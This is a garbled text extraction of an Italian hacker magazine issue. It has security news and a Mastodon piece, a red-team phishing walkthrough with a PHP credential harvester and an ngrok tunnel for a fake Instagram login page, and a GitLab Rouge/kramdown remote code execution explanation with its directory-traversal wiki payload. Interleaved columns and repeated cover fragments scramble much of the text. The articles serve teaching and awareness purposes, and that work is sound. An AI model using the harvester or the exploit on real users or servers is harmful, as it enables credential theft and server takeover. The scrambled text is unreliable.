Documenti di Didattica
Documenti di Professioni
Documenti di Cultura
gennaio
PER HACKER
N.258
Dal 2002 tutto quello che gli altri non osano dirti
Metti l’antifurto
allo smartphone
Scopri da remoto dove si trova,
bloccalo e scatta una foto
al ladro se te lo rubano
TARIFFA R.O.C. Poste Italiane S.p.A. – spedizione in abbonamento postale – MBPA/LO-NO/125/A.P./2017- ART.1 COMMA1- S /NA
Diventa root
Sfrutta una vulnerabilità
del codice per diventare
un utente privilegiato
Co s ì c i r u b a n o
i dati sul Web
Simula una campagna di phishing con un sito fake come
Ho trollato fa un Red Team per far cadere in trappola gli utenti aziendali
la scuola
La storia dello
studente hacker che
ha preso il controllo
degli schermi di un
pentesting Il proxy che spia il Wi-fi
Credi che sia impossibile bloccare Ecco come devi configurare
intero distretto un sistema hackerando i suoi log? il software che cattura il traffico
scolastico Ricrediti, ecco come fanno i pirati wireless per scoprire gli intrusi
IN EDICOLA
OGNI 15 DEL MESE
Scansiona il QR Code
Acquistala su www.sprea.it/topgear
versione digitale disponibile dal 12 di ogni mese
EDITORIALE
www.hackerjournal.it
In questo numero parliamo di:
rickrolling, Cerberus, Green Pass falsi,
GitLab, cloud privato con Cubbit, buffer
overflow, Mitmproxy, hacking dell’IoT,
Mutillidae e molto altro.
C
ome ogni anno, durante i primi giorni
di dicembre arrivano nella nostra casella
email le previsioni di sicurezza per l’anno
successivo, in questo caso per il 2022.
Da dove partiamo? Digitalizzazione del settore sanitario,
sicuramente una buona cosa, anche se servirebbe
molto altro in Italia in ambito salute, secondo noi.
Però più digitale porterà di sicuro un maggior numero
di attacchi poiché una quantità sempre maggiore di dati
dei pazienti si sposterà online e gli operatori sanitari
adotteranno sempre più servizi digitali come la
telemedicina. Questa è una delle tante previsioni
del Kaspersky Security Bulletin 2021
(https://securelist.com/ksb-2021/). Nelle 14 previsioni
presenti nel rapporto di Mandiant (https://experience. CONTATTI
mandiant.com/security-predictions-2022/) scopriamo
REDAZIONE
che i ransomware continueranno imperterriti a crescere
redazione@hackerjournal.it
come hanno fatto negli ultimi 10 anni. Nel 2022
ABBONAMENTI
Mandiant si aspetta di vedere aggressori operativi E ARRETRATI
abbonamenti@sprea.it
con nuove tattiche, come il tentativo di reclutare insider www.sprea.it/digital
nelle vittime. In questi e altri rapporti (per esempio
FACEBOOK
quello di Fortinet) troviamo poi IoT, reti satellitari, www.facebook.com/
hackerjournal/
portafogli digitali, cloud, esports... Insomma, studiate,
seguiteci e informatevi, ci sarà molto lavoro da fare. SITO WEB
www.hackerjournal.it
Il prossimo num1egro sara
aio
in edicola dal 3 enn
HACKTUALITÀ
News
Notizie e anticipazioni dell’universo hacker................................................................ 06
COVER STORY
Ecco come ci rubano i dati sul Web
Simula una campagna di phishing come fa un Red Team.................................... 10
M IGL IORARE
A I
P
U
R
T
E
A
F
C
EI
RA
I TA!
A T UA R I V ISTA
L .ly/hackerjo
://bit
urnal
Vai su https questionario anonimo
e compila il
4
Il primo manifesto hacker
“... avete mai guardato dietro agli occhi dell’hacker?
Vi siete mai chiesti cosa lo stimola, che forze
lo hanno formato, cosa può averlo forgiato?
Io sono un hacker, entra nel mio mondo...”
Cubbit
SICUREZZA
Cloud privato | Cubbit, un cloud rivoluzionario
Scopriamo dove mettere i nostri dati senza farci spiare dalle Big Tech....... 24
Antifurto | L’antifurto per cellulare
Ecco come ritrovare uno smartphone perso o rubato............................................28
Pentesting | Attacco ai log! Seconda parte
Esistono molti modi per attaccare un sistema di log............................................... 32
> 24
46
HOW TO
Buffer overflow | Questione di privilegi
Ecco come diventare utenti privilegiati senza averne il diritto........................................... 40
> 56
HACKULTURE
Rickrolling | Come ti rickrollo la scuola
La storia di un giovane hacker che ha bucato un intero distretto scolastico......... 56
NLETETURW
E
S Ag ID : i s e r v e r d ella
abili!
s o n o v u l n e r
PA
#SERVER Uno studio sulle macchine della Pubblica Amministrazione
svela diverse pecche in ambito sicurezza informatica
6
NEWS
Anche l’FBI è caduta! La nuova frontiera
del phishing:
#FEDERALI I server dell’FBI sono stati violati e usati
per inviare falsi avvisi via email, roba da matti...
LA VOCE
#VISHING I nuovi sistemi
I server di posta elettronica del Federal Bureau of Investigation (FBI)
di Voice Phishing utilizzano
sono stati violati per distribuire email di spam che simulavano avvisi
dell’FBI. Tutti i messaggi provenivano da un indirizzo email legittimo
bot vocali per fregare gli utenti
“eims@ic.fbi.gov” che proviene dal Law Enforcement Enterprise
Portal (LEEP) dell’agenzia federale e riportavano l’oggetto “Urgente:
Hacker nei sistemi”. L’indirizzo IP dell’FBI usato, fonte Spamhaus, R icevi una chiamata al telefono e
senti: “Per proteggere il tuo account,
inserisci il codice che abbiamo inviato
era 153.31.119.142 (mx-east-ic.fbi.gov). L’FBI ha confermato che l’invio
di email fasulle è stato possibile a causa di un’errata configurazione al tuo dispositivo mobile”. Dopo che hai
software del LEEP. inserito una stringa di sei cifre, l’audio
conferma: “Grazie, il tuo account è stato
protetto”. “Non preoccuparti se un
pagamento è stato addebitato sul tuo
conto: lo rimborseremo entro 24-48 ore.
Il tuo ID di riferimento è 1549926. Ora
puoi riagganciare”. Ma questa chiamata
era in realtà di un cracker. Il truffatore
ha utilizzato un tipo di Voice bot che
semplifica drasticamente il processo dei
pirati per indurre le vittime a rinunciare
ai propri codici di autenticazione a più
fattori o password monouso (OTP)
per tutti i tipi di servizi, consentendo di
accedere o autorizzare trasferimenti di
denaro. Vari bot prendono di mira Apple
Pay, PayPal, Amazon, Coinbase e una
vasta gamma di banche internazionali.
Fate attenzione!
Grandi acquisti?
No, grandi ricatti!
#RANSOMWARE
MediaMarkt ha subito
una richiesta di riscatto aver attaccato anche degli ospedali. Lo scorso agosto,
di oltre 200 milioni difatti, i pirati avevano preso in ostaggio tre ospedali
di dollari dal gruppo Hive statunitensi, costringendo alla cancellazione di procedure
chirurgiche ed esami radiologici. A novembre, invece,
MediaMarkt, il numero uno dei negozi retail di Hive avrebbe preso in ostaggio migliaia di computer
elettronica, ha subito lo scorso novembre un grave e server MediaMarkt. Ogni computer criptato conteneva
attacco ransomware. I criminali informatici appartenenti un file di testo con un messaggio fin troppo classico per
al gruppo Hive hanno richiesto un riscatto di più di 200 questi eventi: “La tua rete è stata violata e tutti i dati sono
milioni di dollari, che successivamente è sceso a 50 stati crittografati. Per riottenere l’accesso a tutti i dati, devi
milioni. Questo gruppo di criminali informatici è noto per acquistare il nostro software di decrittazione”.
7
HACKTUALITÀ
A PESCA DI TIKTOKER
#SOCIAL Un attacco di phishing ha preso di mira svariati account di influencer
I R IC C H I P E R D A RE AI POVERI...
ARE A
ALTRO CHE RUB
’
social libero Tutti su Mastodon: social per hacker
Un social network non commerciale, federato e decentralizzato.................................................... 16
green pass ’
Covid-19, l'inizio di un cambiamento?
’
Green Pass falsificati ma apparentemente validi… cosa è successo?................................................... 18
Co s ì c i r u b a n o
i dati sul Web
In collaborazione con
thehackingquest.net
MS
THE FALLEN DREA
a volta
P
rendendo ancora un
to/ libro
spunto dal manifes
che ha ci
The Fallen Dreams
andri
accompagnato nei me
g pe r div ers i numeri
dell’hackin
te articolo
in passato, il seguen
me il se condo
si presenta co
spin-off della se rie .
.
Parleremo di phishing
10
IL SOCIAL
gennaio
PER HACKER
Non è governato dagli algoritmi
e ognuno
N.258
server
di noi può creare il proprio
rnal.it
non osano dirti
Dal 2002 tutto quello che gli altri
Metti l’antifurto
w w w. h a c ke r j o u
allo smartphone
si trova,
Scopri da remoto dove
foto
bloccalo e scatta una
al ladro se te lo rubano
postale – MBPA/LO-NO/125/A.P./2017-
ilità
Sfrutta una vulnerab
del codice per diventare
un utente privilegiato
Così ci rubano
N
Simula una campagna aziendali
cadere in trappola gli utenti
fa un Red Team per far
Ho trollato
la scuola
La storia dello
studente hacker che
ha preso il controllo pentest ing bloccare IlEccoproxy che spia il Wi-fi
come devi configurare
degli schermi di un Credi che sia impossibile che cattura il traffico
i suoi log? il software
intero distretto un sistema hackerando i pirati wireless per scoprire
gli intrusi
Ricrediti, ecco come fanno
el secondo spin-off della serie tratta dal Web” più “get”) ci permette di scaricare
scolastico
09/12/21 09:53
1
001_HJ258_Cover.indd
11
HACKTUALITÀ i ru bano i dati sul Web
R S T O R Y: C o s ì c
C OV E
<?php
include ‘ip.php’;
header(‘Location: login.html’);
exit
?>
12
IL SOCIAL
gennaio
PER HACKER
Non è governato dagli algoritmi
e ognuno
N.258
server
di noi può creare il proprio
rnal.it
non osano dirti
Dal 2002 tutto quello che gli altri
Metti l’antifurto
w w w. h a c ke r j o u
allo smartphone
si trova,
Scopri da remoto dove
foto
bloccalo e scatta una
al ladro se te lo rubano
postale – MBPA/LO-NO/125/A.P./2017-
ilità
Sfrutta una vulnerab
del codice per diventare
un utente privilegiato
Così ci rubano
AMB
fa un Red Team per far
Ho trollato
la scuola
La storia dello
studente hacker che
ha preso il controllo pentest ing bloccare IlEccoproxy che spia il Wi-fi
come devi configurare
degli schermi di un Credi che sia impossibile che cattura il traffico
i suoi log? il software
intero distretto un sistema hackerando i pirati wireless per scoprire
gli intrusi
Ricrediti, ecco come fanno
scolastico
09/12/21 09:53
1
001_HJ258_Cover.indd
un ambiente
articolo abbiamo usato php. Continuando la nostra analisi,
Per realizzare questo
nfigurato: notiamo che il contenuto in input che
di laboratorio così co 192.168.178.7
ANTE: Kali Linux – IP: l’utente andrà a inserire nel campo
• MACCHINA ATTACC – IP:
A: Windows 10x64bit Phone number, username, or email
• MACCHINA VITTIM
verrà assegnato a una variabile
192.168.178.12
username [figura #4]. La stessa
cosa capita all’input che la nostra
firefox login.html vittima inserirà nel campo Password, venendo
assegnato alla variabile password [figura #5].
A una prima occhiata superficiale, sembrerebbe Bene, non ci resta che scoprire che cosa contiene
effettivamente la pagina di login di Instagram. il file chiamato login.php. Torniamo sul nostro
Certo, se non fosse che, l’indirizzo nella barra terminale e facciamo un cat del file login.php.
di ricerca, punta alla nostra directory locale:
file:///home/k4ls33r/ Documents/HJ_Articoli/ <?php
PhishingAttack/login.html. Andiamo più a fondo file_put_contents(“usernames.txt”,
e addentriamoci nel codice HTML, premendo F12 “Account: “ . $_POST[‘username’] . “ Pass:
per ispezionarlo, al fine di vedere quali sono le
azioni che avvengono al momento in cui l’utente figura #3
ignaro cliccherà sul pulsante di login. Portiamo
il puntatore del mouse sul pulsante di login
e clicchiamo con il tasto destro, scegliendo
l’opzione Inspect. A questo punto, verremo
ridiretti alla parte di codice relativo alla funzione
di “login” [figura #3]. La prima cosa che balza
all’occhio è il codice figura #4
<form class=”_3jvtb” action=”login.php”
method=”POST”>
13
HACKTUALITÀ i ru bano i dati sul Web
R S T O R Y: C o s ì c
C OV E
Come evitare
PARTE III – ATTACCO
Pubblichiamo il sito Internet sulla nostra
la trappola
macchina Linux, spostando i file che
compongono il nostro sito fake nella cartella
del phishing
/var/www/html. Copiamoli utilizzando
il comando cp, dichiarando i nomi dei file
uno alla volta, in modo da rivedere ancora quali
re sono i file necessari per il nostro attacco.
o articolo per pubblica
A
pprofittiamo di quest eck
dagli espert i di Ch
alcuni consigli offerti .
e le varie tipologie di phishing cp index_files/ -r index.php login.html
Point su come evitar ili” login.php usernames.txt /var/www/html
brano “sim
1 Non fidatevi dei siti che sem
a quelli originali.
il campo Da (From) Di seguito indichiamo il significato di ogni parte
2 Nelle email controllate se (Reply To).
pondi a di questo comando:
differisce da quello Ris
ni singola parte • cp – il comando di copia
3 Leggete con attenzione og
del testo delle email. • index_files/ -r – la directory contenente file
prima di condividere
4 Pensateci almeno due volte e immagini del sito
dei dati personali. • index.php – lo scheletro del nostro sito
prima di cliccare
5 Pensateci almeno due volte • login.html – la pagina di login che la vittima
allegato.
su un link o aprire un visualizzerà
ando qualche pacco
6 Chiedetevi se stavate aspett o SMS relativi • login.php – il codice PHP per salvare
di email
(in caso di ricevimento le credenziali sottratte
a una spedizione). • usernames.txt – il file dove salveremo
contatta, anche
7 Verificate l’identità di chi vi username e password della vittima
sciuta”.
se è una persona “cono
ge tti delle email troppo • /var/www/html – la directory
8 Diffidate degli og
ttono fretta. di destinazione in locale dove pubblicheremo
“allarmanti”, che vi me
vi dicono che avete
9 Diffidate delle email in cui il nostro sito di phishing
vinto qualcosa. Terminata la copia di tutti i file che ci servono,
ssono essere fatti
10 Ricordate: gli attacchi po avviamo sulla macchina il servizio apache:
gli SMS.
anche a voce o con de
14
IL SOCIAL
gennaio
PER HACKER
Non è governato dagli algoritmi
e ognuno
N.258
server
di noi può creare il proprio
rnal.it
non osano dirti
Dal 2002 tutto quello che gli altri
Metti l’antifurto
w w w. h a c ke r j o u
allo smartphone
si trova,
Scopri da remoto dove
foto
bloccalo e scatta una
al ladro se te lo rubano
postale – MBPA/LO-NO/125/A.P./2017-
ilità
Sfrutta una vulnerab
del codice per diventare
un utente privilegiato
Così ci rubano
figura #6
aziendali
cadere in trappola gli utenti
fa un Red Team per far
Ho trollato
la scuola
La storia dello
studente hacker che
ha preso il controllo pentest ing bloccare IlEccoproxy che spia il Wi-fi
come devi configurare
degli schermi di un Credi che sia impossibile che cattura il traffico
i suoi log? il software
intero distretto un sistema hackerando i pirati wireless per scoprire
gli intrusi
Ricrediti, ecco come fanno
scolastico
09/12/21 09:53
1
001_HJ258_Cover.indd
wget https://bin.equinox.io/
c/4VmDzA7iaHb/ngrok- stable-linux-amd64.
zip
A questo punto, supponiamo che la nostra All’interno della cartella del nostro sito si sarà
vittima abbia ricevuto il link al nostro sito aggiunto il file ngrok. Avviamolo con i seguenti
Internet di phishing, che essendo in locale parametri, abilitando il traffico HTTP tramite
sarà qualcosa di questo tipo: la porta 80:
http://192.168.178.7/login.html [figura #6].
Del tutto ignara di ciò che sta accadendo, ./ngrok http 80
a meno che non sia stata formata correttamente
in passato e “annusi” il pericolo, continuerà A questo punto, il tool avrà forwardato la porta e
digitando le credenziali del suo account settato un tunnel: dal nostro localhost, porta 80
Instagram per effettuare il login. (HTTP), verso l’indirizzo pubblico, http://e6f4-79-
E infine, cliccherà sul pulsante Log in. 32-246-191.ngrok.io, che esporrà il nostro sito
Se tutto sarà andato come previsto, Web di phishing [figura #8]. Appena la nostra
sulla nostra macchina attaccante, all’interno nuova vittima inserirà le sue credenziali,
del file usernames.txt troveremo le credenziali ne saremo entrati in possesso [figura #9].
che l’utente ha appena digitato.
In questo caso, effettuando un semplice cat figura #9
sul file per visualizzarne il contenuto, otterremo
le credenziali dell’account [figura #7].
Intanto, l’ignara vittima verrà reindirizzata
al sito reale di Instagram, senza accorgersi
di nulla, se non della necessità di dover inserire
nuovamente le credenziali.
15
HACKTUALITÀ
TUTTI SU M A S T O D O N :
SOCIA L P E R H A C K E R
e t w o r k n o n c o m m e rciale,
Un social n a t o , q u e ll o c he
t r a li z z
federato e decen ic a l h a c k e r
it y d i e t h
molte commun o n fr o n t a rsi
e n d o p e r c
stanno scegli
A
gli albori di Internet centralizzate. Per non parlare che utilizza il protocollo
c’era IRC, acronimo poi di Facebook e degli altri ActivityPub per
di Internet Relay social che non solo hanno un interconnettere tra loro più
Chat, un sistema di animo commerciale, ma anche istanze. Un’istanza non è altro
messaggistica testuale basato la tendenza a influenzare che un server a cui dovremo
su canali indipendenti e non direttamente i contenuti degli registrarci e che a sua volta
controllati. Ai tempi d’oro, cioè utenti. Stanca di doversi potrà collegarsi a migliaia
alla fine del secolo scorso, più rifugiare negli anfratti del Dark di altre istanze sparse per
di un milione di utenti, in gran Web, una piccola community il mondo. Il meccanismo
parte geek, utilizzavano oltre di sviluppatori di tutto il mondo assomiglia a quello della posta
500.000 canali per scambiarsi ha deciso così di mettere a elettronica, in cui un indirizzo
idee e documenti. Il tutto nella punto una propria rete sociale, email è collegato a un server
maniera più libera possibile. federata ma allo stesso tempo ma può comunque comunicare
Poi con il nuovo millennio sono gestita separatamente in con tutti gli altri indirizzi.
arrivati i social network e se “istanze” utilizzando il progetto In Italia l’istanza principale
all’inizio un’iniziativa come di Eugen Rochko, un tedesco è Mastodon Italia che può
Twitter poteva sembrare uno 24enne e del suo Mastodon. essere raggiunta all’indirizzo
spazio libero e indipendente, mastodon.uno, ma ce ne sono
ben presto ci si rese conto che ANONIMI E NON molte altre come sociale.
non era proprio così. Tutte le COMMERCIALI network, mastodon.sociale.
interazioni, infatti, avvengono Mastodon può essere definita network o mastodon.partecipa.
su server controllati come una rete di digital. A differenza degli altri
dall’azienda e sono perciò microblogging decentralizzata social, per registrarsi non è
necessario inserire il proprio
Ogni singola istanza di Mastodon numero di telefono ed è
possibile collegarsi solo con un
può definire proprie regole, politiche nickname, basta solo fornire
di moderazione e argomenti preferiti un indirizzo email valido.
16
SOCIAL LIBERO
VERSIONE ITALIANA
Sono ancora poco meno di
16.000 gli iscritti alla principale
istanza italiana di Mastodon,
https://mastodon.uno/.
In compenso però sono tutti
molto attivi e soprattutto liberi.
rovato
Anche Trump ci ha p
TANTI PICCOLI TOOT
.
con la sua “verità”..
Su Mastodon i messaggi si
chiamano Toot (cioè il verso
dell’elefante, simbolo del social)
e nell’istanza italiana mastodon.
Dopo essere stato buttato fuori
uno è prevista la lunghezza
da Facebook, Twitter e da gran
massima di 500 caratteri per parte degli altri social per i
ogni toot. A loro volta i toot contenuti violenti e pieni di fake
possono essere pubblici, visibili news della sua comunicazione,
l’ex Presidente degli Stati Uniti
solo a chi ci segue e privati.
Donald Trump ha pensato bene di
Attenzione però, perché ogni investire qualche milione di dollari
istanza può usare proprie nella creazione di un proprio social.
regole, politiche di Peccato che i suoi sviluppatori si
moderazione, lingua siano basati sul codice Open Source
di Mastodon senza rispettare il suo
e argomenti preferiti di
regolamento e anzi dichiarandone
discussione. Per questo è il possesso. A questo punto da
consigliabile scegliere l’istanza Mastodon è giustamente arrivata
più vicina alla nostra sensibilità un’ingiunzione che intimava a Trump
di rimettere tutto a posto se non
e ai nostri interessi. Rimane
voleva ricevere una denuncia per
comunque sempre possibile furto. A distanza di qualche
migrare il proprio profilo giorno, sulla homepage del
presso un’altra istanza senza nuovo social Truth è così
Ancora in versione beta, il nuovo
perdere contenuti e follower. apparso un disclaimer che
social network di Trump utilizza
glorifica l’Open Source “a
Per avere maggiori prescindere dalle opinioni il codice di Mastodon, ennesima
informazioni su Mastodon politiche delle persone” e dimostrazione di come un
vi rimandiamo comunque che rimanda direttamente ambiente veramente libero
al sito di Mastodon. sia aperto proprio a chiunque.
al sito www.mastodon.it.
17
HACKTUALITÀ
COVID-19,
L ’ I N I Z I O D I U N
CA M B I A M E N T O ?
Green Pass falsificati
ma apparentemente
validi… cosa è
successo?
D
mediante una chiave privata,
urante il corso del o semplicemente al ristorante, ovvero la firma del Pass: questa
periodo recente, non stupisce che qualcuno è composta da una parte
la pandemia da sia andato alla ricerca di un pubblica per chi legge il QR code
COVID-19 ha creato un “metodo alternativo” per e da una parte privata utilizzata
mondo diverso: da quel marzo ottenerlo, secondo il sempre per la generazione di questa
2020 il panorama planetario verde assioma: se un qualcosa chiave da inserire nei QR code.
è cambiato, nei comportamenti è creato tramite una procedura VerificaC19 è il tool fornito dal
umani e nei modi di fare, quasi informatica, questo può Governo italiano per la verifica
irriconoscibilmente per come essere hackerato. delle certificazioni e altro non
eravamo abituati, con è che un’applicazione per tablet
distanziamenti, vaccini voluti e COM’È FATTO? e smartphone che, utilizzando
non, tamponi e un lasciapassare Il Green Pass è un documento la fotocamera del dispositivo,
che non ti aspetti, il Green Pass. e come tale può essere visto legge il QR code mostrato da un
Ha la forma di un QR code, anche in contesto informatico: utente e ne verifica l’integrità e
lo si riceve dopo la vaccinazione si tratta di un certificato a chiave la correttezza. Instaurando una
o in seguito a un tampone asimmetrica, un QR code connessione sicura con i server
con risultato negativo. Visto contenente un insieme centrali del Ministero della
che questo lasciapassare serve di informazioni personali Salute, il messaggio è cifrato
per andare a lavoro e sensibili. Queste informazioni tramite la chiave pubblica
contenuta nella firma
del certificato e il server
Secondo alcuni esperti di sicurezza, successivamente decodifica
il dato ricevuto con la rispettiva
è probabile un legame tra i disordini in parte privata, verificando così se
piazza e la creazione di Green Pass falsi il documento è valido o meno.
18
GREEN PASS
DUE PARERI SULL’ACCADUTO
Non sono mancate ovviamente le spiegazioni Invece Ranieri Razzante, uno tra i più importan-
degli esperti di cybersecurity, sia per fare ti esperti mondiali di cybersecurity e cyberterro-
chiarezza che per rendere un po’ più semplice rismo, si è espresso come segue ad Adnkronos
la presa visione di quanto accaduto anche per un su quanto accaduto: «Credo che la causa di
pubblico non tecnico. Giampaolo Dedola, questo attacco sia la guerra al Green Pass in
senior security researcher presso Kaspersky, tutta Europa. Parliamo dunque di una matrice
ha espresso le considerazioni sottostanti: politico-eversiva che inquadra questo attacco in
«Ulteriori analisi di due campioni di QR code un disegno più vasto di contrasto ideologico alle
hanno dimostrato come le chiavi utilizzate per misure contro il Covid-19». Il professore
firmare i certificati siano legate a organizzazioni conclude dicendo: «Si sta sviluppando una rete
con sede in Francia e Polonia. Inoltre, nel di hacker mondiale che vende le sue prestazioni.
momento in cui vengono sottoposti alle verifiche Il pericolo è che si stia creando un mercato
sulle app ufficiali, i codici vengono classificati sempre più in espansione. Noi dobbiamo correre
come validi. Questo è preoccupante in quanto per formare nuovi esperti che possano prevenire
può rendere impossibile distinguere tra i Green questi episodi. Un attacco alla sanità in larga
Pass legittimi e quelli generati attraverso le scala come il furto di codici per falsificare il
chiavi rubate. Questo caso pone l’attenzione su certificato verde ci ricorda quanto serva, a livello
quanto sia critica l’infrastruttura utilizzata internazionale, il coordinamento delle forze
per generare i certificati di vaccinazione». di polizia e di intelligence».
Access o ( q u a s i )
libe r o a G i t L a b
co nc or re nt e O pe n S ource di GitHub
Il famoso
vu ln er ab ili tà ch e pe rmette agli utenti
GLOSSARIO ha una
DI BASE nt ic at i di ac ce de re a repository che non
au te dere
dovrebbero poter ve
B
GITHUB
Servizio di hosting uona parte dello sviluppo cosa semplicissima. Per questo motivo
del codice sorgente di software Open Source esistono delle alternative che
di numerosi oggigiorno avviene su permettono di farlo, così chiunque
programmi. Consente GitHub. Questo servizio è può avere un server tutto suo. E lo
a più programmatori,
molto apprezzato anche dalle aziende, strumento più gettonato è sicuramente
magari sparsi per il
mondo, di collaborare soprattutto ora che è stato tolto il limite GitLab (https://about.gitlab.com).
e mettere le mani al numero di utenti che possono
sullo stesso codice, contribuire a un repository privato. PERCHÉ PROPRIO GITLAB
modificandolo Ciò permette alle aziende di usarlo GitLab offre un ambiente completo,
e commentandolo. come piattaforma per sviluppare in realtà decisamente più completo
i propri software, senza però doverli e personalizzabile di quello proposto
MARKDOWN
È un linguaggio di rendere pubblici. Per chi vuole la da GitHub. Tra le altre cose, inoltre,
markup (marcatura) massima riservatezza e tutela dei dati, GitLab integra anche una wiki
con una sintassi però, la soluzione consiste nell’ospitare per la documentazione (cosa molto
del testo semplice, un proprio server Git, in modo da importante, come leggerete a breve).
progettata in modo tenere tutto “in casa”, e al massimo Come per tutti i software, man mano
che possa essere
concedere pubblicamente l’accesso che cresce la complessità di un
convertita in HTML
e in molti altri formati solo ad alcuni repository, magari a dei progetto aumenta anche la probabilità
usando un tool clienti selezionati. Il problema è che che nelle pieghe delle funzionalità si
omonimo. installare un server Git dotato di una annidi una vulnerabilità. Questo è, del
comoda interfaccia Web non è una resto, il motivo per cui ne stiamo
20
VULNERABILITÀ
parlando: è stata recentemente
scoperta una vulnerabilità nelle
L ISTATO#1
ultime versioni di GitLab che
consente l’esecuzione di codice su def self.call(converter, text, lang, type, call_opts)
opts = options(converter, type)
un server remoto.
call_opts[:default_lang] = opts[:default_lang]
return nil unless lang || opts[:default_lang] ||
UNA WIKI TROPPO BELLA opts[:guess_lang]
Come accennavamo, GitLab offre, lexer = ::Rouge::Lexer.find_fancy(lang ||
tra le altre componenti, una wiki. opts[:default_lang], text)
Essa può essere formattata usando return nil if opts[:disable] || !lexer || (lexer.tag
diversi standard, in particolare == “plaintext” && !opts[:guess_lang])
utilizzando la classica markup di opts[:css_class] ||= ‘highlight’ # For backward
compatibility when using Rouge 2.0
GitHub (che poi è un markdown
formatter = formatter_class(opts).new(opts)
con alcune caratteristiche in più).
formatter.format(lexer.lex(text))
GitLab è scritto con il framework end
Open Source RubyOnRails
(https://rubyonrails.org), e per fare def self.formatter_class(opts = {})
il parsing della markup in stile puts “formatter”
GitHub utilizza la gemma github- puts opts[:formatter]
markup. Questa, a sua volta, case formatter = opts[:formatter]
when Class
utilizza la gemma kramdown per il
Formatter
rendering del markdown, e Rouge
when /\A[[:upper:]][[:alnum:]_]*\z/
per evidenziare il codice. ::Rouge::Formatters.const_get(formatter)
Naturalmente, Rouge accetta else
alcuni argomenti, per esempio: # Available in Rouge 2.0 or later
::Rouge::Formatters::HTMLLegacy
{::options auto_ids=”false” end
footnote_nr=”5” syntax_ rescue NameError
# Fallback to Rouge 1.
highlighter_opts=”{line_
::Rouge::Formatters::HTML
numbers: true\}” /}
End
L’argomento syntax_highlighter_
La wiki
di GitLab.
21
HACKTUALITÀ
Ricordiamo che attaccare server
{::options auto_ids=”false”
altrui è un reato, per cui facciamo footnote_nr=”5” syntax_
esperimenti solo sulle macchine highlighter=”rouge” syntax_
che abbiamo tirato su noi highlighter_opts=”{formatter: CSV,
line_numbers: true\}” /}
opts è un dizionario, che tra le varie ~~ ruby
GLOSSARIO chiavi può contenere formatter. def what?
DI BASE Questo parametro dovrebbe contenere 42
una classe personalizzata per la end
GEMMA formattazione: passandola, Rouge ~~
È una libreria testata, utilizzerebbe il nostro codice per
versionata e
eseguire la formattazione invece della Questo utilizzerebbe la classe CSV,
sviluppata dall’ampia
community Open classe di default. Il codice che si occupa creando una funzione privata chiamata
Source di Rails. di processare questo formatter in format. Si può utilizzare una classe
Rouge è visibile nel [listato #1]. Come qualsiasi, quindi è possibile ricorrere a
DIRECTORY si può notare, quando viene chiamato Redis. La classe Redis ha la particolarità
TRAVERSAL
di accettare un driver (un file):
Attacco informatico
::Rouge::Formatters.const_
che consiste
nello sfruttare get(opts[:formatter]).new(opts) def _parse_driver(driver)
un’insufficiente driver = driver.to_s if
validazione di la variabile opts è controllabile driver.is_a?(Symbol)
sicurezza o una dall’utente tramite le opzioni che si if driver.kind_of?(String)
scarsa sanificazione
passano a kramdown. La variabile begin
dell’input dei nomi di
file forniti dall’utente, viene validata dall’espressione require_relative
consentendo “connection/#{driver}”
l’inserimento /\A[[:upper:]][[:alnum:]_]*\z/ rescue LoadError,
di caratteri speciali NameError => e
che permettono ma non è una limitazione notevole: si begin
di navigare nel
può creare una qualsiasi classe senza require
filesystem del server
Web e raggiungerne namespace (non si può utilizzare ::). “connection/#{driver}”
anche la cartella Basta creare una classe con una rescue LoadError,
radice (root). funzione che non dia nessun errore, NameError => e
una cosa del genere: raise RuntimeError,
22
VULNERABILITÀ
“Cannot load driver #{driver. L ISTATO#2
inspect}: #{e.message}”
end {::options syntax_highlighter=”rouge” syntax_highlighter_
end opts=”{formatter: Redis, driver:
driver = Connection. ../../../../../../../../../../var/opt/gitlab/gitlab-rails/
const_get(driver.capitalize) uploads/-/system/user/1/c4119c5b144037f708ead7295cea4dd0/
end payload.rb\}” /}
~~ ruby
driver
def what?
end
42
end
Il require_relative non esegue ~~
controlli sul percorso, quindi
è possibile un directory traversal:
un percorso del tipo essere uno script Ruby valido, che ENTITÀ DELLA
../../../../../../../../../../tmp/a.rb magari fa ottenere una remote VULNERABILITÀ
verrebbe accettato. shell all’attaccante. Dopo avere A un primo sguardo si potrebbe
fatto l’upload del file, l’utente deve pensare che, se bisogna
UPLOAD E AVVIO solo modificare una pagina della comunque avere una forma di
Mettendo insieme quello che wiki inserendo il codice visibile in autenticazione e i permessi di
abbiamo visto, un utente malevolo [listato #2]. Questo innescherebbe scrittura sulla wiki per innescare il
potrebbe caricare un file il caricamento in Ruby dello script bug, non sia una cosa così grave.
dall’interfaccia di GitLab, per caricato dall’utente stesso, perché Ma c’è in realtà un problema di
esempio dalla wiki stessa. Il file Rouge cercherebbe di usarlo per fondo: per sua stessa natura, un
verrebbe inserito nel markdown: ottenere la formattazione HTML server GitLab ospita più repository
della porzione di codice compresa legati a più progetti, ed è condiviso
[file.rb](/uploads/-/system/ tra le tilde. Appena la pagina della con più clienti e sviluppatori.
user/1/1cd3e965551892a4c0c1a wiki viene visitata, il renderer viene In teoria, nessuno dovrebbe poter
f01ef2f2ad7/file.rb) attivato, innescando lo script. accedere ai repository che non gli
GitLab si lamenterebbe, nei log: competono. Ma, con questo bug,
e il suo percorso completo sarebbe chi riesce a eseguire codice sul
wrong constant name server può leggere il contenuto
/var/opt/gitlab/gitlab-rails/ ../../../../../../../../../../ dei file presenti in ogni cartella,
uploads/-/system/ var/opt/gitlab/gitlab-rails/ incluse quindi anche le cartelle
user/1/1cd3e965551892a4c0c1a uploads/-/system/user/1/ dei progetti che non dovrebbe
f01ef2f2ad7/file.rb c4119c5b144037f708ead729 vedere. Pensiamo proprio al caso
5cea4dd0/payload.rb di una azienda che condivide
Il file caricato conterrebbe il codice con i propri clienti: un
il payload che l’attaccante vuole ma a quel punto il codice sarebbe cliente potrebbe accedere al
eseguire sul server remoto: deve già stato eseguito. codice “segreto” degli altri clienti.
La soluzione
GitLab ha immediatamente riconosciuto il bug in circolazione da alcune settimane, quindi
come una vulnerabilità ad alto impatto e ha è plausibile che qualcuno incominci a utilizzarle.
rilasciato un bugfix nella versione 13.9.4. Chi Anche nel caso in cui non si abbiano repository
ha la versione 13.9.3 dovrà, quindi, assicurarsi di privati sul proprio server GitLab, è opportuno
applicare l’aggiornamento quanto prima possibile. difendersi da questa vulnerabilità per evitare
Le informazioni tecniche sulla vulnerabilità non che qualcuno prenda il controllo del server
sono state pubblicate prima del fix, ma sono ormai e lo utilizzi per altri scopi malevoli.
23
SICUREZZA
OFFERTA
SPECIALE!
Inserisci
il
